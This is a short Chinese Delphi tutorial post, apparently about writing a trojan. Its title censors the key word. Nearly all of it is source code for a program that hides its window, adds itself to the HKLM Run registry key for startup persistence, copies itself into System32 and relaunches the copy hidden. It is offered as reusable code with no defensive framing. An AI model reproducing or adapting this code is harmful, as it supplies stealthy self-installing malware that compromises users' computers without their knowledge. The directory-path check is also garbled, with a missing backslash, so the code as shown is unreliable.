delphi 之***自身复制加开机启动项『dephi自学笔记』

                                     delphi 之***自身复制加开机启动项 interface uses   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,   Dialogs, Registry, StdCtrls; type   TForm1 = class(TForm)   procedure FormCreate(Sender: TObject);   private     { Private declarations }   public     { Public declarations }   end; var   Form1: TForm1; implementation function GetWinDir: String;        //定义获取system32目录的方法。 var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]<>'' then Result := Result + ''; end; {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); var myname: string;     AuToRun :TRegistry; begin   Form1.Hide;   Application.ShowMainForm := False;      //这两句是为了让程序运行不显示窗口。   AuToRun := TRegistry.Create;   with AuToRun do   Try     RootKey := HKEY_LOCAL_MACHINE;     if OpenKey('SOFTWARE\MicroSoft\Windows\CurrentVersion\Run',false) then     AuToRun.WriteString(extractfilename(application.ExeName),application.ExeName);   Finally   AuToRun.Free;   end; //增长开机启动项 myname := ExtractFilename(Application.Exename); //得到文件名 if application.Exename <> GetWindir + myname then //若是文件不是在Windows\System32\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将本身拷贝到Windows\System32\下} Winexec(pchar(GetWindir + myname), sw_hide); //运行Windows\System32\下的新文件 end; end; end.  转载文章请标明：该文章转自 罗斌原创技术文章：http://luobin44.51.com 〖罗斌原创〗